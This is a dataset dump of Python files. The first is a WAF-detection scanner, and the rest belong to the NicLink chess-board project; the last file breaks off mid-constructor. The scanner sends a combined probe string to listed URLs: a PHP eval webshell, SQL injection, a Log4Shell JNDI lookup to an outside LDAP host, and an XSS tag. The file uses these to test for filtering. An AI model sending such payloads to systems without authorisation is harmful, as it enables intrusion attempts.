id
int64 0
458k
| file_name
stringlengths 4
119
| file_path
stringlengths 14
227
| content
stringlengths 24
9.96M
| size
int64 24
9.96M
| language
stringclasses 1
value | extension
stringclasses 14
values | total_lines
int64 1
219k
| avg_line_length
float64 2.52
4.63M
| max_line_length
int64 5
9.91M
| alphanum_fraction
float64 0
1
| repo_name
stringlengths 7
101
| repo_stars
int64 100
139k
| repo_forks
int64 0
26.4k
| repo_open_issues
int64 0
2.27k
| repo_license
stringclasses 12
values | repo_extraction_date
stringclasses 433
values |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2,286,600 | check-waf-v1.3.py | Huck-Lim_check-waf/check-waf-v1.3.py | import os
import sys
import requests
from openpyxl import Workbook
from openpyxl.styles import Border, Side, Font, Alignment
from openpyxl.utils import get_column_letter
from datetime import datetime
from bs4 import BeautifulSoup
from publicsuffixlist import PublicSuffixList
from urllib.parse import urlsplit
from urllib3.exceptions import InsecureRequestWarning
# 禁用不安全请求的警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def get_primary_domain(url):
psl = PublicSuffixList()
#domain = psl.privatesuffix(url)
netloc = urlsplit(url).netloc
domain = psl.privatesuffix(netloc)
return domain
def read_urls_from_file(file_path):
with open(file_path, 'r') as file:
return file.read().splitlines()
def get_response_info(url,headers):
try:
response = requests.get(url, headers=headers, verify=False ,timeout=5)
soup = BeautifulSoup(response.content, 'html.parser')
title = soup.title.string.strip() if soup.title and soup.title.string else "无标题"
status_code = response.status_code
return title, status_code
except requests.exceptions.Timeout:
return "请求超时", 1
except requests.exceptions.ConnectionError:
return "连接被拒绝", 0
def check_waf(url, payloads, headers=None):
results = []
for payload in payloads:
target_url = url + payload
result = {}
result['URL'] = url
result['Payload'] = target_url
result['domain'] = get_primary_domain(url)
# print(target_url)
print('=======================================')
print(url)
print('----------------不含poc----------------')
before_title, before_code = get_response_info(url, headers)
after_title, after_code = get_response_info(target_url, headers)
print(before_code,before_title)
print('----------------含poc------------------')
print(after_code,after_title)
print('--------------检测结果-----------------')
result['after_code'] = after_code
result['before_code'] = before_code
result['after_title'] = after_title
result['before_title'] = before_title
# if((before_code == 200 and after_code == 403) or (before_code == 200 and after_code == 0) or (before_code != 200 and after_code == 0)):
# print('存在WAF')
# elif((before_code == 200 and after_code != 200 or after_code != 403 or after_code != 0)):
# print(1)
if(before_code == 200):
if(after_code == 403 or after_code == 0 or after_code == 1):
print('存在WAF')
result['WAF_Status'] = '存在WAF'
elif(after_code == 200 and before_title == after_title):
print('不存在WAF')
result['WAF_Status'] = '不存在WAF'
else:
print('疑似存在WAF')
result['WAF_Status'] = '疑似存在WAF'
elif(before_code != 0 and before_code != 1):
if(after_code == 0 or after_code == 1):
print('存在WAF')
result['WAF_Status'] = '存在WAF'
elif((after_code != before_code) or (after_code == before_code and before_title != after_title)):
print('疑似存在WAF')
result['WAF_Status'] = '疑似存在WAF'
elif(after_code == before_code and before_title == after_title):
print('不存在WAF')
result['WAF_Status'] = '不存在WAF'
else:
print('漏网之鱼')
result['WAF_Status'] = '漏网之鱼'
elif(before_code == 0):
print('站点无法访问')
# 被服务器拒绝。站点可能无法访问或者被安全设备封禁了
result['WAF_Status'] = '站点无法访问'
else:
print('请求超时，网络异常')
result['WAF_Status'] = '请求失败'
results.append(result)
return results
def get_filename_without_extension(file_path):
base_name = os.path.basename(file_path) # 获取路径的基本文件名
file_name_without_extension, _ = os.path.splitext(base_name) # 分割文件名和扩展名
return file_name_without_extension
def set_border(sheet):
# 设置框线
border = Border(left=Side(style='thin'), right=Side(style='thin'),
top=Side(style='thin'), bottom=Side(style='thin'))
for row in ws.iter_rows(min_row=1, max_row=ws.max_row, min_col=1, max_col=ws.max_column):
for cell in row:
cell.border = border
def set_columns(sheet):
# 设置列宽为最适合的列宽
for col in ws.columns:
max_length = 0
column = [cell for cell in col]
for cell in column:
try:
if len(str(cell.value)) > max_length:
max_length = len(cell.value)
except:
pass
adjusted_width = (max_length + 2)
ws.column_dimensions[get_column_letter(col[0].column)].width = adjusted_width
url_file_path = 'urls.txt'
try:
url_file_path = sys.argv[1]
file_name = get_filename_without_extension(url_file_path)
except:
print('请输入txt文件名，默认读取urls.txt！')
print('python3 check-waf.py urls.txt')
sys.exit()
urls = read_urls_from_file(url_file_path)
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}
payloads = ["?a=<%3fphp+%40eval($_GET['cmd'])%3b%3f>&b=1'+or+'1'%3d'1&c=${jndi%3aldap%3a//10.0.0.1%3a8080/Exploit}&s=<script>alert(1)</script>&id=UNION+SELECT+ALL+FROM+information_schema+AND+'+or+SLEEP(5)+or+'"] # 这里可以添加更多的payload
results = []
for url in urls:
results.extend(check_waf(url, payloads, headers))
# 创建一个新的Excel工作簿
wb = Workbook()
# 获取当前活动的工作表
ws = wb.active
# 设置第一行为"URL"、"Payload"和"WAF_Status"，并应用字体和对齐样式
for i, title in enumerate(["URL", "domain","before_code", "before_title", "after_code", "after_title", "WAF_Status"], start=1):
cell = ws.cell(row=1, column=i, value=title)
cell.font = Font(bold=True)
cell.alignment = Alignment(horizontal='center', vertical='center')
# 将结果保存到Excel文件中
for i, result in enumerate(results, start=2):
ws.cell(row=i, column=1, value=result['URL'])
ws.cell(row=i, column=2, value=result['domain'])
ws.cell(row=i, column=3, value=result['before_code'])
ws.cell(row=i, column=4, value=result['before_title'])
ws.cell(row=i, column=5, value=result['after_code'])
ws.cell(row=i, column=6, value=result['after_title'])
# ws.cell(row=i, column=3, value=result['WAF_Status'])
if 'WAF_Status' in result:
ws.cell(row=i, column=7, value=result['WAF_Status'])
else:
ws.cell(row=i, column=7, value='N/A')
ws.cell(row=i, column=8, value=result['Payload'])
# 设置框线
set_border(ws)
# 设置列宽为最适合的列宽
set_columns(ws)
# 获取当前时间并格式化为字符串
current_time = datetime.now().strftime('%Y-%m-%d_%H-%M-%S')
# 保存Excel文件
wb.save(f"{file_name}_waf_results_{current_time}.xlsx")
| 7,476 | Python | .py | 160 | 35.1625 | 232 | 0.601773 | Huck-Lim/check-waf | 8 | 2 | 1 | MPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,601 | extract_version.py | nicvagn_NicLink/src/thirdparty/spdlog/scripts/extract_version.py | #!/usr/bin/env python3
import os
import re
base_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
config_h = os.path.join(base_path, 'include', 'spdlog', 'version.h')
data = {'MAJOR': 0, 'MINOR': 0, 'PATCH': 0}
reg = re.compile(r'^\s*#define\s+SPDLOG_VER_([A-Z]+)\s+([0-9]+).*$')
with open(config_h, 'r') as fp:
for l in fp:
m = reg.match(l)
if m:
data[m.group(1)] = int(m.group(2))
print(f"{data['MAJOR']}.{data['MINOR']}.{data['PATCH']}")
| 497 | Python | .py | 13 | 34.461538 | 74 | 0.579167 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,602 | turn_out_all_lights.py | nicvagn_NicLink/nicsoft/turn_out_all_lights.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
from niclink import NicLinkManager
print("\nTURNING OUT ALL THE LIGHTS\n")
man = NicLinkManager(2, None)
man.turn_off_all_LEDs()
| 739 | Python | .py | 9 | 80.777778 | 237 | 0.789546 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,603 | light_board.py | nicvagn_NicLink/nicsoft/light_board.py | # light_board is a part of NicLink
#
# NicLink is free software: you can redistribute it and/or modify it under the terms of the gnu general public license as published by the free software foundation, either version 3 of the license, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. see the gnu general public license for more details.
#
# you should have received a copy of the gnu general public license along with NicLink. if not, see <https://www.gnu.org/licenses/>.
class LightBoard:
"""a representation of the LED's on a chessnut air"""
def __init__(self, lit_squares: List[str]) -> None:
"""init a lightboard with each of the list of squares lit up.
@param: lit_squares - a list of squares to set as lit in SAN
"""
light_board = np.array(
[
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
],
dtype=np.str_,
)
def __str__(self) -> str:
return (
str(light_board[0]),
str(light_board[1]),
str(light_board[2]),
str(light_board[3]),
str(light_board[4]),
str(light_board[5]),
str(light_board[6]),
str(light_board[7]),
)
def _build_led_map(moves: List[str]) -> None:
"""build the led_map for given uci moves
@param: moves - move list in uci
"""
global logger, ZEROS
zeros = "00000000"
logger.info("build_led_map_for_move's(%s)", moves)
led_map = np.copy(ZEROS)
# get the squars and the coordinates
s1 = move[:2]
s2 = move[2:]
s1_cords = square_cords(s1)
s2_cords = square_cords(s2)
# set 1st square
led_map[s1_cords[1]] = zeros[: s1_cords[0]] + "1" + zeros[s1_cords[0] :]
# set second square
led_map[s2_cords[1]] = zeros[: s2_cords[0]] + "1" + zeros[s2_cords[0] :]
logger.info("led map made for move: %s\n", move)
log_led_map(led_map)
return led_map
| 2,365 | Python | .py | 57 | 31.824561 | 237 | 0.572237 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,604 | __main__.py | nicvagn_NicLink/nicsoft/play_stockfish/__main__.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import argparse
import importlib
import logging
import logging.handlers
import os
# debbuging
import pdb
# sys stuff
import sys
import threading
import time
import traceback
import chess
# chess stuff
import chess.pgn
import readchar
# the fish
from stockfish import Stockfish
# NicLink shit
from niclink import NicLinkManager
logger = logging.getLogger("NL play Fish")
logger.setLevel(logging.DEBUG)
# create console handler and set level to debug
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
# create formatter
formatter = logging.Formatter("%(name)s - %(levelname)s | %(message)s")
# add formatter to ch
ch.setFormatter(formatter)
# add ch to logger
logger.addHandler(ch)
class Game(threading.Thread):
"""a chessgame with stockfish handled in it's own thread"""
def __init__(
self, NicLinkManager, playing_white, stockfish_level=5, **kwargs
) -> None:
super().__init__(**kwargs)
self.nl_inst = NicLinkManager
# bool of if your playing white
self.playing_white = playing_white
# init stockfish
self.fish = Stockfish()
self.fish.set_skill_level(stockfish_level)
# list of all the game moves
self.moves = []
# is the game over?
self.game_over = False
def check_for_game_over(self) -> None:
"""check if the game is over"""
# is_game_over() will return False or a dictionary with:
# {"over": bool, "winner": str or False, "reason": str}
over_state = self.nl_inst.is_game_over()
if not over_state:
# the game is still going
return
# otherwise, tell the user and exit
if over_state["winner"]:
winner = "Black"
else:
winner = "White"
print(
f"Winner: { winner } reason: {over_state['reason']} \n \
have a nice day."
)
sys.exit(0)
def handle_human_turn(self) -> None:
"""Handle a human turn in the game"""
global logger
logger.info("\n--- human turn ---\n")
try:
# hack
move = None
while move is None:
move = self.nl_inst.await_move()
time.sleep(0.3)
# await move from e-board the move from niclink
print(f"move from board: { move }")
except KeyboardInterrupt:
print("Bye!")
sys.exit(0)
logger.info(f"move from chessboard { move }")
# make the move on the nl gameboard
self.nl_inst.opponent_moved(move)
# check if the game is done
self.check_for_game_over()
def handle_fish_turn(self) -> None:
"""handle fish's turn"""
global logger
logger.info("Fish's turn")
self.fish.set_fen_position(self.nl_inst.get_game_FEN())
# get stockfishes move
fish_move = self.fish.get_best_move()
logger.info(f"Fish's move { fish_move }")
# make move on the niclink internal board
self.nl_inst.make_move_game_board(fish_move)
print(f"board after fish turn:")
self.nl_inst.show_game_board()
# check for game over
self.check_for_game_over()
def ensure_updated_board(self) -> None:
"""enrsre the external board is fully updated"""
while not self.nl_inst.check_game_board_against_external():
logger.debug("board not updated correctly")
time.sleep(0.3)
def start(self) -> None:
"""start playing the game"""
# start by turning off all the lights
self.nl_inst.turn_off_all_LEDs()
self.run()
def run(self) -> None:
"""run the game thread"""
# main game loop
while True:
if self.playing_white:
# if we go first, go first
self.handle_human_turn()
# breakpoint()
# do the fish turn
self.handle_fish_turn()
# make sure board is valid
self.ensure_updated_board()
# breakpoint()
if not self.playing_white:
# case we are black
self.handle_human_turn()
def main():
# NicLinkManager
nl_inst = NicLinkManager(refresh_delay=2, logger=logger)
print("\n%%%%%% NicLink vs Stockfish %%%%%%\n")
print("What level do you want for the fish? (1 - 33) for info enter i, else level")
while True:
sf_lvl = input("level (1 - 33):")
if sf_lvl == "i":
print(
"""I found this online, and stole it:
Stockfish 16 UCI_Elo was calibrated with CCRL.
# PLAYER : RATING ERROR POINTS PLAYED (%)
1 master-skill-19 : 3191.1 40.4 940.0 1707 55
2 master-skill-18 : 3170.3 39.3 1343.0 2519 53
3 master-skill-17 : 3141.3 37.8 2282.0 4422 52
4 master-skill-16 : 3111.2 37.1 2773.0 5423 51
5 master-skill-15 : 3069.5 37.2 2728.5 5386 51
6 master-skill-14 : 3024.8 36.1 2702.0 5339 51
7 master-skill-13 : 2972.9 35.4 2645.5 5263 50
8 master-skill-12 : 2923.1 35.0 2653.5 5165 51
9 master-skill-11 : 2855.5 33.6 2524.0 5081 50
10 master-skill-10 : 2788.3 32.0 2724.5 5511 49
11 stash-bot-v25.0 : 2744.0 31.5 1952.5 3840 51
12 master-skill-9 : 2702.8 30.5 2670.0 5018 53
13 master-skill-8 : 2596.2 28.5 2669.5 4975 54
14 stash-bot-v21.0 : 2561.2 30.0 1338.0 3366 40
15 master-skill-7 : 2499.5 28.5 1934.0 4178 46
16 stash-bot-v20.0 : 2452.6 27.7 1606.5 3378 48
17 stash-bot-v19.0 : 2425.3 26.7 1787.0 3365 53
18 master-skill-6 : 2363.2 26.4 2510.5 4379 57
19 stash-bot-v17.0 : 2280.7 25.4 2209.0 4378 50
20 master-skill-5 : 2203.7 25.3 2859.5 5422 53
21 stash-bot-v15.3 : 2200.0 25.4 1757.0 4383 40
22 stash-bot-v14 : 2145.9 25.5 2890.0 5167 56
23 stash-bot-v13 : 2042.7 25.8 2263.5 4363 52
24 stash-bot-v12 : 1963.4 25.8 1769.5 4210 42
25 master-skill-4 : 1922.9 25.9 2690.0 5399 50
26 stash-bot-v11 : 1873.0 26.3 2203.5 4335 51
27 stash-bot-v10 : 1783.8 27.8 2568.5 4301 60
28 master-skill-3 : 1742.3 27.8 1909.5 4439 43
29 master-skill-2 : 1608.4 29.4 2064.5 4389 47
30 stash-bot-v9 : 1582.6 30.2 2130.0 4230 50
31 master-skill-1 : 1467.6 31.3 2015.5 4244 47
32 stash-bot-v8 : 1452.8 31.5 1953.5 3780 52
33 master-skill-0 : 1320.1 32.9 651.5 2083 31
credit: https://chess.stackexchange.com/users/25998/eric\n"""
)
continue
try:
if int(sf_lvl) > 0 and int(sf_lvl) <= 33:
break
except ValueError:
print("invalid entry. Try again.")
continue
else:
print("invalid. Try again")
continue
print("Do you want to play white? (y/n)")
playing_w = readchar.readkey()
playing_white = playing_w == "y"
game = Game(nl_inst, playing_white, stockfish_level=sf_lvl)
print("game started")
if playing_white:
print("make a move please")
game.start()
if __name__ == "__main__":
main()
| 8,070 | Python | .py | 197 | 33.93401 | 239 | 0.590392 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,605 | test_niclink_signals.py | nicvagn_NicLink/nicsoft/test/test_niclink_signals.py | # This file is a part of NicLink
#
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import readchar
from niclink import NicLinkManager
def test():
print("\n+++++ NicLink: testing signals ++++\n")
print("nl.signal_lights(1): press enter for next")
nl.signal_lights(1)
readchar.readchar()
print("nl.signal_lights(2): press enter for next")
nl.signal_lights(2)
readchar.readchar()
print("nl.signal_lights(3): press enter for next")
nl.signal_lights(3)
readchar.readchar()
print("nl.signal_lights(4): press enter for next")
nl.signal_lights(4)
readchar.readchar()
print("nl.signal_lights(5): press enter for next")
nl.signal_lights(5)
readchar.readchar()
print("nl.signal_lights(6): press enter for next")
nl.signal_lights(6)
readchar.readchar()
print("end")
if __name__ == "__main__":
# connect to the board
nl = NicLinkManager(1)
test()
| 1,496 | Python | .py | 34 | 40 | 237 | 0.71832 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,606 | __main__.py | nicvagn_NicLink/nicsoft/test/__main__.py | # This file is a part of NicLink
#
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
print("NicLink: Running all tests")
import logging
import time
import chess
import numpy as np
import readchar
import test_niclink_board_compairison as nlbc
import test_niclink_FEN as nlf
import test_niclink_lights as nll
import test_niclink_move_parsing as nlmv
from niclink import NicLinkManager
ONES = np.array(
[
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
],
dtype=np.str_,
)
ZEROS = np.array(
[
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
],
dtype=np.str_,
)
global logger
logger = logging.getLogger("test_all")
def test_usb():
"""test usb connection"""
global logger
b1 = chess.Board()
b2 = chess.Board()
b2.push_uci("e2e4")
nl_man = NicLinkManager(2, logger=logger)
nl_man.signal_lights(1)
logger.info("TEST: show board diff: shold be e2e4 lit up.")
nl_man.show_board_diff(b1, b2)
readchar.readchar()
print("TEST: set_move_led w map")
print("e2e4")
nl_man.set_move_LEDs("e2e4")
readchar.readchar()
print("BOARD CLEAR, press a key")
nl_man.set_all_LEDs(ZEROS)
readchar.readchar()
print("TEST: man.show_board_diff(b1,b2)")
nl_man.show_board_diff(b1, b2)
readchar.readchar()
print("(test usb connection) testing set_all_LEDs.")
nl_man.set_all_LEDs(ONES)
print("all the lights should be on, confirm and press enter")
readchar.readchar()
nl_man.set_all_LEDs(ZEROS)
print("all the lights should be off, confirm and press enter")
readchar.readchar()
print(
"testing man.signal_lights(). lights should flash on and return to showing last move"
)
nl_man.signal_lights(1)
print("(test usb connection) set up the board and press enter.")
nl_man.show_game_board()
print(
"Now, make a move on the board and test move geting. Press return when ready. This is the last test."
)
readchar.readkey()
while True:
# TODO: make sure await move work's
move = nl_man.await_move()
nl_man.make_move_game_board(move)
print(move)
time.sleep(2)
print(
"testing man.signal_lights(). lights should flash on and return to showing last move"
)
nl_man.signal_lights(1)
if __name__ == "__main__":
test_usb()
| 3,147 | Python | .py | 96 | 27.458333 | 237 | 0.667768 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,607 | test_niclink_lights.py | nicvagn_NicLink/nicsoft/test/test_niclink_lights.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import time
from niclink import NicLinkManager
print("\n\n====== NicLink test lights ====== \n")
# connect to the board
def test():
nl = NicLinkManager(1)
print("all the lights should come on, starting with a1 finishing with h8")
for x in range(1, 9):
nl.beep()
for a in range(1, 9):
square = chr(ord("`") + a) + str(x)
print(square + " on")
nl.set_led(square, True)
time.sleep((0.01))
for x in range(1, 9):
for a in range(1, 9):
square = chr(ord("`") + a) + str(x)
print(square + " off")
nl.set_led(square, False)
def set_move_leds(move):
nl.set_move_LEDs(move)
if __name__ == "__main__":
# connect to the board
nl = NicLinkManager(1)
test()
# set_move_leds("a4h4")
| 1,430 | Python | .py | 31 | 40.096774 | 237 | 0.653208 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,608 | test_niclink_FEN.py | nicvagn_NicLink/nicsoft/test/test_niclink_FEN.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import readchar
from niclink import NicLinkManager
def test():
print("\n+++++ niclink test: FEN reading ++++\n")
exit = "n"
while exit == "n":
currentFEN = nl_inst.get_FEN()
nl.show_FEN_on_board(currentFEN)
print("do you want to exit? 'n' for no \n")
exit = readchar.readchar()
if __name__ == "__main__":
# connect to the board
nl = NicLinkManager(1)
test()
# set_move_leds("a4h4")
| 1,058 | Python | .py | 20 | 48.45 | 237 | 0.707483 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,609 | test_niclink_move_parsing.py | nicvagn_NicLink/nicsoft/test/test_niclink_move_parsing.py | # NicLink is free software you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import sys
import time
import chess
import readchar
from niclink import NicLinkManager
def test():
print("\n=====================\n Test Move Parsing \n=====================\n")
leave = "n"
while leave == "n":
print("make a legal move:\n")
# wait for a move
try:
move = nl.await_move()
except ValueError:
print("No move, pausing for 3 seconds and trying again")
time.sleep(3)
continue
# show the internal board state
# nl_inst.show_game_board()
print(f"\n==== { move } ====\n")
print("leave? 'n' for no, != 'n' yes: ")
leave = readchar.readkey()
if __name__ == "__main__":
nl = NicLinkManager(2)
test()
| 1,364 | Python | .py | 30 | 39.3 | 236 | 0.645944 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,610 | nl_test_threading.py | nicvagn_NicLink/nicsoft/test/nl_test_threading.py | # niclink is free software: you can redistribute it and/or modify it under the terms of the gnu general public license as published by the free software foundation, either version 3 of the license, or (at your option) any later version.
#
# niclink is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. see the gnu general public license for more details.
#
# you should have received a copy of the gnu general public license along with niclink. if not, see <https://www.gnu.org/licenses/>.
import logging
import threading
import readchar
from niclink import NicLinkManager
def test():
"""test usb connection"""
print("set up the board and press enter.")
nl_thread.show_game_board()
print("===============")
readchar.readkey()
# set the niclink flag for starting a game
nl_thread.start_game.set()
leave = "n"
while leave == "n":
print("leave test_threading? ('n' for no)")
leave = readchar.readkey()
nl_thread.gameover_lights()
# set the nl_thread kill switch
nl_thread.kill_switch.set()
if __name__ == "__main__":
logger = logging.getLogger()
logger.setLevel(logging.DEBUG)
nl_thread = NicLinkManager(2, logger)
nl_thread.start()
test()
| 1,352 | Python | .py | 30 | 40.8 | 237 | 0.714067 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,611 | test_niclink_board_compairison.py | nicvagn_NicLink/nicsoft/test/test_niclink_board_compairison.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.to use the len() function
import chess
from niclink import NicLinkManager
def test():
print("test niclink board compaire")
b1 = chess.Board()
b2 = chess.Board()
nl = NicLinkManager(1)
print("test identical boards(should be no diff)")
nl.show_board_diff(b1, b2)
print("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@")
print("should be a diff on e2 e4")
b1.push_uci("e2e4")
nl.show_board_diff(b1, b2)
print("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@")
print("should be a lot of diffs")
b2.set_fen("r1bqkb1r/pppp1Qpp/2n2n2/4p3/2B1P3/8/PPPP1PPP/RNB1K1NR b KQkq - 0 4")
nl.show_board_diff(b1, b2)
if __name__ == "__main__":
nl = NicLinkManager(2)
test()
| 1,342 | Python | .py | 25 | 49.64 | 237 | 0.667433 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,612 | nl_exceptions.py | nicvagn_NicLink/nicsoft/niclink/nl_exceptions.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
class NoMove(Exception):
"""Exception raised when there is no move from chessboard (ie: the game board FEN == FEN from the external board)"""
def __init__(self, message):
self.message = message
class IllegalMove(Exception):
"""Exception raised when an illegal move is on the external board"""
def __init__(self, message):
self.message = message
class ExitNicLink(Exception):
"""Exception raised to quit NicLink"""
def __init__(self, message):
self.message = message
class NoNicLinkFEN(Exception):
"""raised when fen is None"""
def __init__(self, message):
self.message = message
class NicLinkGameOver(Exception):
"""the game on NicLink is over"""
def __init__(self, message):
self.message = message
class NicLinkHandlingGame(Exception):
"""NicLink is handling a game, and the action can not be preformed"""
def __init__(self, message):
self.message = message
| 1,580 | Python | .py | 29 | 49.551724 | 237 | 0.722114 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,613 | nl_test_bluetooth.py | nicvagn_NicLink/nicsoft/niclink/nl_test_bluetooth.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import nl_bluetooth
nl_bluetooth.connect()
| 652 | Python | .py | 7 | 91.857143 | 237 | 0.793157 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,614 | driver.py | nicvagn_NicLink/nicsoft/niclink/driver.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the gnu general public license as published by the free software foundation, either version 3 of the license, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. see the gnu general public license for more details.
#
# you should have received a copy of the gnu general public license along with NicLink. if not, see <https://www.gnu.org/licenses/>.
import logging
# system
import sys
import threading
import time
# pip libraries
import chess
import numpy as np
import numpy.typing as npt
# mine
import niclink._niclink as _niclink
import niclink.nl_bluetooth
from niclink.nl_exceptions import (ExitNicLink, IllegalMove, NoMove,
NoNicLinkFEN)
### CONSTANTS ###
ONES = np.array(
[
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
],
dtype=np.str_,
)
ZEROS = np.array(
[
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
],
dtype=np.str_,
)
FILES = np.array(["a", "b", "c", "d", "e", "f", "g", "h"])
NO_MOVE_DELAY = 0.1 # I think having a logger delay makes bord unresponsive
LIGHT_THREAD_DELAY = 0.8
# ## logger ###
logger = logging.getLogger("NicLink")
class NicLinkManager(threading.Thread):
"""manage Chessnut air external board in it's own thread"""
def __init__(
self,
refresh_delay: float,
